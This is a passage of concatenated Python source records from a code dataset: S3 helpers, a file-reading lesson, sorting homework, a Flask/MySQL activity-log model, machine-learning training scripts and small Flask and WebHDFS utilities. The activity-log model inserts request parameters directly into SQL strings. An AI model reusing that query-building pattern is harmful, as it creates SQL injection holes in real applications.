Reads a csv from an s3 bucket. Returns a pandas dataframe.\n If view_mode is passed as True, read_json will both return and print the dataframe.\n '''\n self.s3_filename = s3_filename\n self.bucket_name = bucket_name\n self.view_mode = view_mode\n\n #If user has not set their credentials, allow them to.\n global current_client\n if current_client == None:\n self.config_credentials()\n\n #Uses the instance var current_client to get the csv object.\n csv_dict = current_client.get_object(Bucket = bucket_name, Key = s3_filename)\n csv_string = csv_dict['Body'].read().decode('utf-8')\n df = pd.read_csv(StringIO(csv_string))\n\n if view_mode:\n print(df)\n return df\n\n\n def read_json(self, s3_filename, bucket_name, view_mode=False):\n '''\n Reads a JSON from an s3 bucket. Returns a dictionary.\n If view_mode is passed as True, read_json will both return and print the dictionary.\n '''\n self.s3_filename = s3_filename\n self.bucket_name = bucket_name\n\n #If user has not set their credentials, allow them to.\n global current_client\n if current_client == None:\n self.config_credentials()\n\n client_obj = current_client.get_object(Bucket = bucket_name, Key = s3_filename)\n client_data = client_obj['Body'].read().decode('utf-8')\n client_dict = loads(client_data)\n\n if view_mode:\n print(client_dict)\n return client_dict\n\n\n def write_csv(self, df, s3_filename, bucket_name):\n '''Converts a dataframe to a CSV and uploads the result to an s3 bucket'''\n self.df = df\n self.s3_filename = s3_filename\n self.bucket_name = bucket_name\n\n global current_client\n if current_client == None:\n self.config_credentials()\n\n new_csv = df.to_csv(s3_filename)\n self.upload_to_aws(s3_filename, bucket_name)\n\n\n def write_json(self, dictionary, s3_filename, bucket_name):\n '''Converts a dictionary to a JSON and uploads the result to an s3 bucket'''\n self.dictionary = dictionary\n self.s3_filename = s3_filename\n self.bucket_name = bucket_name\n\n global current_client\n if current_client == None:\n self.config_credentials()\n\n with open(s3_filename, 'w') as file: \n dump(dictionary, file)\n self.upload_to_aws(s3_filename, bucket_name)","sub_path":"S3connector/aws_connector.py","file_name":"aws_connector.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"150911117","text":"__author__ = 'student'\nimport urllib.request\n\n# ascii values of characters\ndef chars_in(s):\n print(\"start\")\n for c in s:\n print(c, ord(c))\n print(\"done)\")\n\n# chars_in(\"Arnold\\n\")\n# chars_in(\"Arnold\\\\n\")\n# also \"\\t\" for tab character\n\n# other file methods\n# readline\n# readlines\n'''\ng = open(\"/usr/share/dict/words\", \"r\")\nwhile True:\n line = g.readline() # read one line (including '\\n') from g\n if line == \"\": # when g is exhausted line will be empty (==\"\")\n break\n print(line) # note the extra newline character, one in line itself, one from print\ng.close()\n\n\ng = open(\"/usr/share/dict/words\", \"r\")\nwhile True:\n line = g.readline() # read one line (including '\\n') from g\n if line == \"\": # when g is exhausted line will be empty (==\"\")\n break\n # remove the trailing '\\n'\n line = line[0:-1] # could also use line = line.strip(), but this does a bit more\n print(line) # now the '\\n' comes from the print only\ng.close()\n\n# can also write to a file\n# Exercise: Create a copy of /usr/share/dict/words consisting of only lowercase words\n# the copy goes in /home/student/data/words\n\nout = open(\"/home/student/data/hello.txt\", \"w\") # open /home/student/data/hello.txt for writing\nout.write(\"hello\")\nout.close()\n\n# Try to add \"arnold\" to hello.txt\nout = open(\"/home/student/data/hello.txt\", \"w\") # open /home/student/data/hello.txt for writing\nout.write(\"arnold\\n\")\nout.close()\n\n# Note \"w\" overwrites the file!! SO creates a new file, deleting the old one if it is there\nout = open(\"/home/student/data/hello.txt\", \"w\") # open /home/student/data/hello.txt for writing\nout.write(\"hello\")\nout.close()\n\n# Try to add \"arnold\" to hello.txt\nout = open(\"/home/student/data/hello.txt\", \"a\") # open /home/student/data/hello.txt for append\nout.write(\"arnold\\n\")\nout.close()\n\nout = open(\"/home/student/data/words\", \"w\")\ng = open(\"/usr/share/dict/words\", \"r\")\nwhile True:\n line = g.readline() # read one line (including '\\n') from g\n if line == \"\": # when g is exhausted line will be empty (==\"\")\n break\n line = line[0:-1]\n # out.write(\"{0},{1}\\n\".format(len(line),line.lower()))\n out.write(\"{0}\\n\".format(line.lower()))\ng.close()\nout.close()\n'''\n\n# Reading a webpage\n# instead of reading a file, you can also read from a URL\n# https://docs.python.org/3.4/library/urllib.html\n\n# From http://www.ed.ac.uk/schools-departments/geosciences/weather-station/download-weather-data\nurl = \"http://xweb.geos.ed.ac.uk/~weather/jcmb_ws/JCMB_last31days.csv\"\n\nmy_socket = urllib.request.urlopen(url) # like open for reading\nfor line in my_socket:\n line = str(line[0:-1], 'ascii') # convert to 'ascii' standard character set\n print(line)\n fields = line.split(\",\") # list of fields from line, each separated by ,\n print(fields[8])\nmy_socket.close()","sub_path":"CSC108/Week 07/Monday.py","file_name":"Monday.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"559848874","text":"def bubble(arr):\n \"\"\"Cортровка пузырьком\n На вход массив\n Возвращает отсортированный массив\"\"\"\n for i in range(len(arr) - 1):\n for j in range(len(arr) - i - 1):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n return arr\na = [4,3,5,2,1]\n\n\ndef compare_list(list1,list2):\n \"\"\"Даны два списка, совпадают ли множества их элементов\n На вход 2 списка\n Возвращает True/False\"\"\"\n \"\"\"# Можно просто сравнивать списки, \n # if list1 == list2:\n # return True\n # else:\n # return False\"\"\"\n for i in range(min(len(list2),len(list1))):\n if list1[i] != list2[i]:\n return False\n return True\n\n\nwhile True:\n n = input(\n\"\"\"\nВыберите задачу.\n1. Пузырек.\n2. Даны два списка. Определите, совпадают ли множества их элементов.\n3. Выполнял в пред. дз\nВыход: Enter\n\"\"\"\n )\n if n == \"1\":\n _list = [int(i) for i in input('Введите значения элементов массива через пробел ').split()]\n print(f'После сотировки пузырьковым методом получим: {bubble(_list)}')\n elif n == \"2\":\n listset1 = []\n listset2 = []\n print('Инструкция:\\nВы сначала вы вводите значения элементов множества первого списка через enter\\nКогда вы больше не хотите вводить, нажимаете enter с пустыми значениями множества')\n while True:\n _list = [int(i) for i in input('Введите значения элементов множества через пробел, если хотите выйти, enter в пустом множестве ').split()]\n if not _list:\n break\n else:\n set1 = set(_list)\n listset1.append(set1)\n print(f'Первый список - {listset1}')\n print('Для второго списка аналогично')\n while True:\n _list = [int(i) for i in input('Введите значения элементов множества через пробел, если хотите выйти, enter в пустом множестве ').split()]\n if not _list:\n break\n else:\n set1 = set(_list)\n listset2.append(set1)\n print(f'Второй список список - {listset1}')\n print(f'Определите, совпадают ли множества их элементов - {compare_list(listset1,listset2)}')\n elif not n:\n print(\"Goodbye!\")\n break\n else:\n print(\"Неверный символ\")","sub_path":"hw_4/task123.py","file_name":"task123.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"431059392","text":"from app.libs.mysqllib import MysqlLib\n\nclass Activities(object):\n \"\"\"docstring for UserFunctions\"\"\"\n def __init__(self, user):\n super(Activities, self).__init__()\n self.dbconn = MysqlLib()\n self.user = user\n\n def getAllTransactions(self, request_params):\n\n where_con_list = []\n where_con = ''\n\n if \"status\" in request_params and request_params['status'] != \"\":\n where_con_list.append(\"msg_stat='{}' \".format(request_params['status']))\n\n if \"branch\" in request_params and request_params['branch'] != \"\":\n where_con_list.append(\"account_branch='{}' \".format(request_params['branch']))\n\n if \"destination\" in request_params and request_params['destination'] != \"\":\n where_con_list.append(\"destination='{}' \".format(request_params['destination']))\n\n if \"type\" in request_params and request_params['type'] != \"\":\n where_con_list.append(\"type='{}' \".format(request_params['type']))\n\n if \"tag\" in request_params and request_params['tag'] != \"\":\n where_con_list.append(\"fusion_tag='{}' \".format(request_params['tag']))\n\n where_con = \" and \".join(where_con_list)\n if where_con == \"\":\n where_con = \"1\"\n\n if request_params['fromdate'] == \"\" or request_params['todate'] == \"\":\n data = self.dbconn.select_from_table_paged(\"tbl_activity_log\", condition=\"WHERE \"+ where_con +\" ORDER BY date_created DESC\", offset=request_params['offset'], records=request_params['records'])\n data_count = self.dbconn.select_count_table(\"tbl_activity_log\", condition=\"WHERE \"+ where_con)\n else:\n data = self.dbconn.select_from_table_paged(\"tbl_activity_log\", condition=\" WHERE \"+ where_con +\" and date_created between '{0}' and '{1}' ORDER BY date_created DESC\".format(request_params['fromdate'], request_params['todate']), offset=request_params['offset'], records=request_params['records'])\n data_count = self.dbconn.select_count_table(\"tbl_activity_log\", condition=\"WHERE \"+ where_con)\n return [data, data_count]\n\n\n def getAllTransactionsByBranch(self, request_params):\n\n where_con_list = []\n where_con = ''\n\n if request_params['status'] != \"\":\n where_con_list.append(\"status='{}' \".format(request_params['status']))\n\n where_con = \" and \".join(where_con_list)\n if where_con == \"\":\n where_con = \"1\"\n\n if request_params['fromdate'] == \"\" or request_params['todate'] == \"\":\n data = self.dbconn.select_from_table_paged(\"tbl_activity_log\", [\"tbl_file_upload\"], [\"tbl_transaction.*\"], [\"tbl_transaction.bulk_id=tbl_file_upload.bulk_id AND tbl_file_upload.merchant_id='{}'\".format(self.user['institution_data']['id'])], \"WHERE \"+ where_con +\" ORDER BY transaction_date DESC\".format(request_params['fromdate'], request_params['todate']), offset=request_params['offset'], records=request_params['records'])\n else:\n data = self.dbconn.select_from_table_paged(\"tbl_activity_log\", [\"tbl_file_upload\"], [\"tbl_transaction.*\"], [\"tbl_transaction.bulk_id=tbl_file_upload.bulk_id AND tbl_file_upload.merchant_id='{}'\".format(self.user['institution_data']['id'])], \"WHERE \"+ where_con +\" and transaction_date between '{0}' and '{1}' ORDER BY date_upload DESC\".format(request_params['fromdate'], request_params['todate']), offset=request_params['offset'], records=request_params['records'])\n return data\n\n\n def getAllTransactionsfilter(self):\n filter_data = {}\n filter_data['branches'] = self.dbconn.select_distinct(\"tbl_activity_log\", \"account_branch\")\n filter_data['destination'] = self.dbconn.select_distinct(\"tbl_activity_log\", \"destination\")\n filter_data['type'] = self.dbconn.select_distinct(\"tbl_activity_log\", \"type\")\n filter_data['status'] = self.dbconn.select_distinct(\"tbl_activity_log\", \"msg_stat\")\n filter_data['tag'] = self.dbconn.select_distinct(\"tbl_activity_log\", \"fusion_tag\")\n\n print(filter_data)\n return filter_data\n\n\n def searchTransactions(self, request_params):\n search_data = self.dbconn.search_table(request_params['search_param'], \"tbl_activity_log\", ['xref', 'reference', 'account_branch', 'processing_branch', 'account_number', 'des_act', 'destination', 'msisdn', 'msg_stat', 'fusion_tag', 'type', 'request_time', 'response_time', 'amount'])\n return search_data\n \n\n\n def getAllTransactionsfilterForBranch(self):\n\n pass\n\n\n def getBulkUploadDetailsByBulkId(self, bulk_id):\n print(bulk_id)\n data = self.dbconn.joint_select(\"tbl_file_upload\", [\"tbl_login\", \"tbl_file_upload_xdetails\"], [\"tbl_file_upload.*\",\"tbl_login.username\", \"tbl_file_upload_xdetails.amount\",\"tbl_login.institution_shortName\", ], [\"tbl_file_upload.merchant_admin_id=tbl_login.id\", \"tbl_file_upload_xdetails.bulk_id='{}'\".format(bulk_id)], \"WHERE tbl_file_upload.bulk_id= \\'\"+ bulk_id +\"\\'\")\n approval_data = self.dbconn.joint_select(\"tbl_file_upload_approval\", [\"tbl_login\"], [\"tbl_login.*\", \"tbl_file_upload_approval.*\"], [\"tbl_file_upload_approval.merchant_admin_id=tbl_login.id\"], gen_condition=\"WHERE tbl_file_upload_approval.bulk_id='\"+ bulk_id +\"'\")\n if approval_data == []:\n data[0]['approval_data'] = []\n else:\n data[0]['approval_data'] = approval_data\n return data\n\n\n def insertBulkUpload(self, data):\n admin = self.dbconn.insert_in_table(\"tbl_file_upload\",data)\n return True\n\n\n def insertBulkUploadXtraDetails(self, data):\n res = self.dbconn.insert_in_table(\"tbl_file_upload_xdetails\", data)\n return res\n\n\n\n def updateAdminByUsername(self, username, data):\n admin = self.dbconn.update_table(\"tbl_login\", data, \"WHERE bulk_id='\"+ username +\"'\")\n return True","sub_path":"logs/activities_old/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"247597841","text":"'''\n@Author: your name\n@Date: 2019-11-25 10:38:21\n@LastEditTime: 2019-11-25 15:47:08\n@LastEditors: Please set LastEditors\n@Description: In User Settings Edit\n@FilePath: \\leetcode\\76.最小覆盖子串.py\n'''\n#\n# @lc app=leetcode.cn id=76 lang=python3\n#\n# [76] 最小覆盖子串\n#\n\n# @lc code=start\nclass Solution:\n # def minWindow(self, s, t):\n # import collections\n # need, missing = collections.Counter(t), len(t)\n # i = I = J = 0\n # for j, c in enumerate(s, 1):\n # missing -= need[c] > 0\n # need[c] -= 1\n # if not missing:\n # while i < j and need[s[i]] < 0:\n # need[s[i]] += 1\n # i += 1\n # if not J or j - i <= J - I:\n # I, J = i, j\n # return s[I:J]\n def minWindow(self, s: 'str', t: 'str') -> 'str':\n from collections import defaultdict\n lookup = defaultdict(int)\n for c in t:\n lookup[c] += 1\n start = 0\n end = 0\n min_len = float(\"inf\")\n counter = len(t)\n res = \"\"\n while end < len(s):\n if lookup[s[end]] > 0:#是t种的元素\n counter -= 1\n lookup[s[end]] -= 1\n end += 1 #向下一个移动\n while counter == 0: #全部字母被包含了\n if min_len > end - start:\n min_len = end - start\n res = s[start:end]\n if lookup[s[start]] == 0: #把第一个符合的字母,释放掉,窗口向后滑动\n counter += 1\n lookup[s[start]] += 1\n start += 1 #窗口向后移动\n return res\n\na = Solution()\nprint(a.minWindow(\"ADOBECODEBANC\",\n\"ABC\"))\n# @lc code=end\n\n","sub_path":"easy/76.最小覆盖子串.py","file_name":"76.最小覆盖子串.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"311343596","text":"# Transfer Model Utils\nfrom transfer_model_utils import *\n\norders_df = pd.read_csv('data/orders_df.csv', index_col=0)\n\nimg_dir = 'images' # folder containing all other folders of images\npaths = orders_df['file_path']\nbucket = 'cwbirdsimages'\n\ndef resize_images_array(img_dir, file_paths):\n # arrays of image pixels\n img_arrays = []\n \n # loop through the dataframe that is linked to its label so that all images are in the same order\n for path in tqdm(file_paths):\n s3 = boto3.client('s3')\n try:\n obj = s3.get_object(Bucket=bucket, Key=f'{img_dir}/{path}')\n img_bytes = BytesIO(obj['Body'].read())\n open_img = Image.open(img_bytes)\n arr = np.array(open_img.resize((299,299))) # (299,299) required for Xception\n img_arrays.append(arr)\n except:\n # print(path)\n continue\n return np.array(img_arrays)\n\n# obtain image data in arrays\nX = resize_images_array(img_dir, orders_df['file_path'][:21129])\n\n# normalize RGB values\nX = X/255.0\n\n# grab label\n# INPUT VALUES MUST BE ARRAYS\nlabel = np.array(orders_df['species_group'][:21129].values)\n\n# labels are alphabetical with np.unique\ny = (label.reshape(-1,1) == np.unique(orders_df['species_group'][:21129])).astype(float)\n\n# number of outputs/labels available and image input size\nn_categories = y.shape[1]\ninput_size = (299,299,3)\n\n# Train Test Split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n\n# Set tensorboard callback with specified folder and timestamp\ntensorboard_callback = TensorBoard(log_dir='logs/', histogram_freq=1)\n\n# create transfer model\ntransfer_model = create_transfer_model((299,299,3),n_categories)\n\n# change new head to the only trainable layers\n_ = change_trainable_layers(transfer_model, 132)\n\n# compile model\ntransfer_model.compile(optimizer=RMSprop(lr=0.001), loss='categorical_crossentropy', metrics=['accuracy'])\n\n# fit model\nhistory = transfer_model.fit(X_train, y_train, batch_size=1000, epochs=15, validation_split=0.1, callbacks=[tensorboard_callback])\n\ntransfer_model.save('saved_models/species3_xception.h5')\n\nprint('Model saved.')\n# load_L_xception = tf.keras.models.load_model('saved_models/large_xception.h5')\n\nacc = history.history['accuracy']\nval_acc = history.history['val_accuracy']\n\nloss = history.history['loss']\nval_loss = history.history['val_loss']\n\ndf = pd.DataFrame(acc, columns=['accuracy'])\ndf['val_accuracy'] = val_acc\ndf['loss'] = loss\ndf['val_loss'] = val_loss\n\ndf.to_csv('data/accuracy.csv')\nprint('Accuracy CSV saved.')\n\npred_prob = transfer_model.predict(X_test)\nprint('X_test predicted')\n\npred_arr = []\n\nfor i in pred_prob:\n i[i.argmax()] = 1\n i[i < 1] = 0\n print(i)\n pred_arr.append(i)\n \npred_arr = np.array(pred_arr)\n\nprint('Starting SKLEARN CLASSIFICATION REPORT')\nsk_report = classification_report(\n digits=6,\n y_true=y_test, \n y_pred=pred_arr)\nprint(sk_report)\nnp.save(\"data/sk_report.npy\", sk_report)\nprint('sk_report saved.')\n\nprint('Begin custom CLASS REPORT')\nreport_with_auc = class_report(\n y_true=y_test, \n y_pred=pred_arr)\nprint('report variable created')\nprint(report_with_auc)\nreport_with_auc.to_csv('data/class_report_xception.csv')\nprint('report saved.')\n\nprint('Starting Confusion Matrix...')\nconf_mat = confusion_matrix(y_test.argmax(axis=1), pred_arr.argmax(axis=1))\nnp.savetxt('data/confusion_matrix.csv', conf_mat)\n\nprint('Starting recall score...')\nrecall = recall_score(y_test.argmax(axis=1),pred_arr.argmax(axis=1), average='micro')\nprint('recall variable obtained.')\nnp.save(\"data/recall.npy\", recall)\n\nprint('Onto Classification Report...')\nclassify = classification_report(y_test.argmax(axis=1), pred_arr.argmax(axis=1))\nprint('classify variable obtained.')\nnp.save(\"data/classify.npy\", classify)\n\n# print('Starting ROC Curve Plot')\n\n# fpr, tpr, thresholds = roc_curve(y_test, pred_arr)\n# fig, ax = plt.subplots(figsize=(8,6))\n# auc_score = metrics.roc_auc_score(y_test, pred_arr)\n# plot_roc_curve(ax, fpr, tpr, auc_score,'Xception ROC Curve')\n# plt.savefig('graphs/test_xception_roc_curve.png')\n# print('ROC saved')\n\nprint('End.')","sub_path":"src/bird_order.py","file_name":"bird_order.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"337929428","text":"import os \nimport math \nimport numpy as np \nimport tensorflow as tf \nimport matplotlib.pyplot as plt \nfrom tensorflow.python.framework import ops\n#============================================================================ \n#-----------------生成图片路径和标签的List------------------------------------ \nimage_W = 48\nimage_H = 48\n\ntrain_dir = '/data0/lishuaijun/tensorflow/ronghe1/wenjian/shujuji' \n \nbaixubao = []\nlabel = [] \n\ndef read_image(input_queue):\n\timage_contents = tf.read_file(input_queue) #read img from a queue \n\timage_d1 = tf.image.decode_jpeg(image_contents, channels=3)\n\timage_d2 = tf.image.resize_image_with_crop_or_pad(image_d1, image_W, image_H) \n\timage = tf.image.rgb_to_grayscale(image_d2)\n\treturn image\n#step1:获取'/home/fengwenting/tensorflow/baixibaofenlei/baixibao_tfre'下所有的图片路径名,存放到 \n#对应的列表中,同时贴上标签,存放到label列表中。 \n#def get_files(file_dir): \n#\tfilelist = os.listdir(file_dir)\n#\timage1 = read_image(file_dir+'/'+filelist[0])\t\n#\timage2 = read_image(file_dir+'/'+filelist[1])\n#\timage3 = read_image(file_dir+'/'+filelist[2])\n#\timage4 = read_image(file_dir+'/'+filelist[3])\n#\timage5 = read_image(file_dir+'/'+filelist[4])\n#\timage6 = read_image(file_dir+'/'+filelist[5])\n#\timage7 = read_image(file_dir+'/'+filelist[6])\n#\timage8 = read_image(file_dir+'/'+filelist[7])\n#\timage9 = read_image(file_dir+'/'+filelist[8])\n#\timage10 = read_image(file_dir+'/'+filelist[9])\n#\tfor index,file in enumerate(filelist): \n#\t\tif index >=10 : \n#\t\t\timage11 = read_image(file_dir+'/'+ file)\n#\t\t\t#train_image = tf.concat(2,[image1, image2, image3, image4, image5, image6, image7, image8, image9, image10, image11])\n#\t\t\ttrain_image = tf.concat([image1, image2, image3, image4, image5, image6, image7, image8, image9, image10, image11],2)\n#\t\t\t#train_image = np.concatenate((image1, image2, image3, image4, image5, image6, image7, image8, image9, image10, image11),axis=2)\n#\t\t\t#train_image = np.concatenate(( image11, image11),axis=2)\n#\t\t\tlable_image = tf.image.per_image_standardization(image6)\n#\t\t\tlable_image = tf.cast(lable_image,dtype = tf.float32)\n#\t\t\ttrain_image = tf.image.per_image_standardization(train_image)\n#\t\t\ttrain_image = tf.cast(train_image,dtype = tf.float32)\n#\t\t\tbaixubao.append(train_image) \n#\t\t\tlabel.append(lable_image) \n#\t\t\timage1 = image2;\n#\t\t\timage2 = image3;\n#\t\t\timage3 = image4;\n#\t\t\timage4 = image5;\n#\t\t\timage5 = image6;\n#\t\t\timage6 = image7;\n#\t\t\timage7 = image8;\n#\t\t\timage8 = image9;\n#\t\t\timage9 = image10;\n#\t\t\timage10 = image11;\n#\treturn baixubao, label\n \ni=0\nb=1\ndef get_files(file_dir): \n\tfilelist = os.listdir(file_dir)\n\timage1 = file_dir+'/'+filelist[0]\t\n\timage2 = file_dir+'/'+filelist[1]\n\timage3 = file_dir+'/'+filelist[2]\n\timage4 = file_dir+'/'+filelist[3]\n\timage5 = file_dir+'/'+filelist[4]\n\timage6 = file_dir+'/'+filelist[5]\n\timage7 = file_dir+'/'+filelist[6]\n\timage8 = file_dir+'/'+filelist[7]\n\timage9 = file_dir+'/'+filelist[8]\n\timage10 = file_dir+'/'+filelist[9]\n\timage11 = file_dir+'/'+filelist[10]\n\ttrain_image = [image1, image2, image3, image4, image5, image6, image7, image8, image9, image10, image11]\n\tlable_image = image6\n\tbaixubao.append(train_image)\n\tlabel.append(lable_image) \n\tfor index,file in enumerate(filelist): \n\t\tif index== 11+i :\n\t\t\timage12 = file_dir+'/'+ file\n\t\t\tif index==12+i :\t\n\t\t\t\timage13 =file_dir+'/'+file\n\t\t\t\tif index==13+i :\t\n\t\t\t\t\timage14 =file_dir+'/'+file\n\t\t\t\t\tif index==14+i :\t\n\t\t\t\t\t\timage15 =file_dir+'/'+file\n\t\t\t\t\t\tif index==15+i :\t\n\t\t\t\t\t\t\timage16 =file_dir+'/'+file\n\t\t\t\t\t\t\tif index==16+i :\t\n\t\t\t\t\t\t\t\timage17 =file_dir+'/'+file\n\t\t\t\t\t\t\t\tif index==17+i :\t\n\t\t\t\t\t\t\t\t\timage18 =file_dir+'/'+file\n\t\t\t\t\t\t\t\t\tif index>=18+i :\t\n\t\t\t\t\t\t\t\t\t\timage19 =file_dir+'/'+file\n\t\t\t\t\t\t\t\t\t\tif index>=19+i :\t\n\t\t\t\t\t\t\t\t\t\t\timage20 =file_dir+'/'+file\n\t\t\t\t\t\t\t\t\t\t\tif index>=20+i :\t\n\t\t\t\t\t\t\t\t\t\t\t\timage21 =file_dir+'/'+file\n\t\t\t\t\t\t\t\t\t\t\t\tif index>=21+i :\t\n\t\t\t\t\t\t\t\t\t\t\t\t\timage22 =file_dir+'/'+file\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tif index % 10==b:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tb=b+1 \n\t\t\t\t\t\t\t\t\t\t\t\t\t\timage1 = image12;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\timage2 = image13;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\timage3 = image14;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\timage4 = image15;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\timage5 = image16;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\timage6 = image17;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\timage7 = image18;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\timage8 = image19;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\timage9 = image20;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\timage10 = image21;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\timage11 = image22;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ttrain_image = [image1, image2, image3, image4, image5, image6, image7, image8, image9, image10, image11]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tlable_image = image6\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tbaixubao.append(train_image)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tlabel.append(lable_image) \n\treturn baixubao, label \n#--------------------------------------------------------------------------- \n#--------------------生成Batch---------------------------------------------- \n \n#step1:将上面生成的List传入get_batch() ,转换类型,产生一个输入队列queue,因为img和lab \n#是分开的,所以使用tf.train.slice_input_producer(),然后用tf.read_file()从队列中读取图像 \n# image_W, image_H, :设置好固定的图像高度和宽度 \n# 设置batch_size:每个batch要放多少张图片 \n# capacity:一个队列最大多少 \ndef get_batch(image, label, batch_size, capacity): \n \n#step4:生成batch\n#image_batch: 4D tensor [batch_size, width, height, 11],dtype=tf.float32 \n#label_batch: 1D tensor [batch_size], dtype=tf.int32 \n\t\n\tinput_queue = tf.train.slice_input_producer([image, label]) \n\tinput_image = input_queue[0]\n\n\timage_1 = read_image(input_image[0])\n\timage_2 = read_image(input_image[1])\n\timage_3 = read_image(input_image[2])\n\timage_4 = read_image(input_image[3])\n\timage_5 = read_image(input_image[4])\n\timage_6 = read_image(input_image[5])\n\timage_7 = read_image(input_image[6])\n\timage_8 = read_image(input_image[7])\n\timage_9 = read_image(input_image[8])\n\timage_10 = read_image(input_image[9])\n\timage_11 = read_image(input_image[10])\n\ttrain_image = tf.concat([image_1, image_2, image_3, image_4, image_5, image_6, image_7, image_8, image_9, image_10, image_11],2)\n\n\ttrain_image = tf.image.per_image_standardization(train_image)\n\ttrain_image = tf.cast(train_image,dtype = tf.float32)\n\t\n\tlable_image = tf.image.per_image_standardization(read_image(input_queue[1]))\n\tlable_image = tf.cast(lable_image,dtype = tf.float32)\n\timage_batch, label_batch = tf.train.batch([train_image, lable_image], \n batch_size= batch_size, \n num_threads= 1 , \n capacity = capacity) \n\treturn image_batch, label_batch \n \n#======================================================================== \n","sub_path":"tensorflow/ronghe1/getfiles.py","file_name":"getfiles.py","file_ext":"py","file_size_in_byte":6711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"35411519","text":"# -*- coding: utf-8 -*-\nimport sys\nimport string\nimport random\nimport binascii\nimport hashlib\nimport subprocess\nfrom pathlib import Path\nfrom datetime import datetime\nimport time\nfrom flask_cors import CORS\nimport urllib.parse\nimport logging\nimport json\n\nfrom flask import Flask, request, jsonify, render_template, Response\n\nfrom pyomo.environ import *\n\n################## Global Vars ##################\n\n\n\n#################################################\n\n\n\n\n################## Functions Block ##################\n# Above each function declaration, please write a comment mentioning the inputs, type of each input, and the names\n# Same applies for required returned values\n\n# Function names CANNOT be the same as the Flask function names used at the later block of code!\n\n# Write your functions here:\n\n\n# Example function: Inputs: W_max > number Outputs: model_list > list, ob_list > list\ndef sample_pyomo(W_max):\n A = ['hammer', 'wrench', 'screwdriver', 'towel']\n b = {'hammer':8, 'wrench':3, 'screwdriver':6, 'towel':11}\n w = {'hammer':5, 'wrench':7, 'screwdriver':4, 'towel':3}\n # W_max= 14\n model = ConcreteModel()\n model.x = Var(A, within=Binary)\n model.value = Objective(expr = sum([b[i]*model.x[i] for i in A]),\n sense=maximize)\n model.weight = Constraint(expr = sum([ w[i]*model.x[i] for i in A ]) <= W_max)\n opt = SolverFactory(\"glpk\")\n result_obj = opt.solve(model, tee=True)\n result_obj.write()\n model.solutions.load_from(result_obj)\n ob_list = []\n model_list = []\n for ob in A:\n print(ob, model.x[ob].value)\n ob_list.append(ob)\n model_list.append(model.x[ob].value)\n return model_list, ob_list\n\n#####################################################\n\n\n\napp = Flask(__name__)\n# To be used once core backend is deployed. Keeping open CORS for others to be able to test the API.\n# cors = CORS(app, resources={r\"/*\": {\"origins\": \"*.starke.services\"}}, send_wildcard=True)\ncors = CORS(app, resources={r\"/*\": {\"origins\": \"*\"}}, send_wildcard=True)\n\n\nlogging.getLogger('flask_cors').level = logging.ERROR\n\n\n@app.route('/', methods=['GET'])\ndef health_stat():\n return Response(response=json.dumps({\"Status\": \"All Good Here!\"}),\n status=200,\n mimetype='application/json')\n\n\n@app.route('/data_test2', methods=['POST'])\ndef data_test2():\n data = request.get_json()\n # request data\n W_max = data['W_max']\n\n model_list, ob_list = sample_pyomo(W_max)\n\n # response data\n res = {\"values\": model_list, \"obs\": ob_list}\n return Response(response=json.dumps({\"result\": res}),\n status=200,\n mimetype='application/json')\n\napp.debug = False\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=80)\n\n\n","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"646449026","text":"#!/usr/bin/env python3\n\nimport pwd\nimport grp\nfrom config.webhdfs import configure\nfrom pywebhdfs.webhdfs import PyWebHdfsClient\nfrom stat import S_IFDIR, S_IFLNK, S_IFREG\nfrom time import time\nimport datetime\n\nuid_cache = dict()\ndef owner_to_uid(owner):\n if owner in uid_cache:\n return uid_cache[owner]\n try:\n uid_cache[owner] = pwd.getpwnam(owner)[2]\n return pwd.getpwnam(owner)[2]\n except KeyError:\n res = pwd.getpwnam('nobody')[2] or 0\n uid_cache[owner] = res\n return res\n\ngid_cache = dict()\ndef group_to_gid(group):\n if group in gid_cache:\n return gid_cache[group]\n for g in [group, 'nogroup', 'nobody']:\n try:\n gid_cache[group] = grp.getgrnam(g)[2]\n return grp.getgrnam(g)[2]\n except KeyError:\n pass\n gid_cache[group] = 0\n return 0\n\ndef webhdfs_connect(config):\n request_extra_opts = {}\n if config.proxy_host:\n request_extra_opts['proxies'] ={'http': f'socks5h://{config.proxy_host}:{config.proxy_port}',\n 'https': f'socks5h://{config.proxy_host}:{config.proxy_port}'}\n if config.hdfs_user_name:\n request_extra_opts['params'] ={'user.name': config.hdfs_user_name}\n client = PyWebHdfsClient(base_uri_pattern=config.hdfs_baseurl,\n 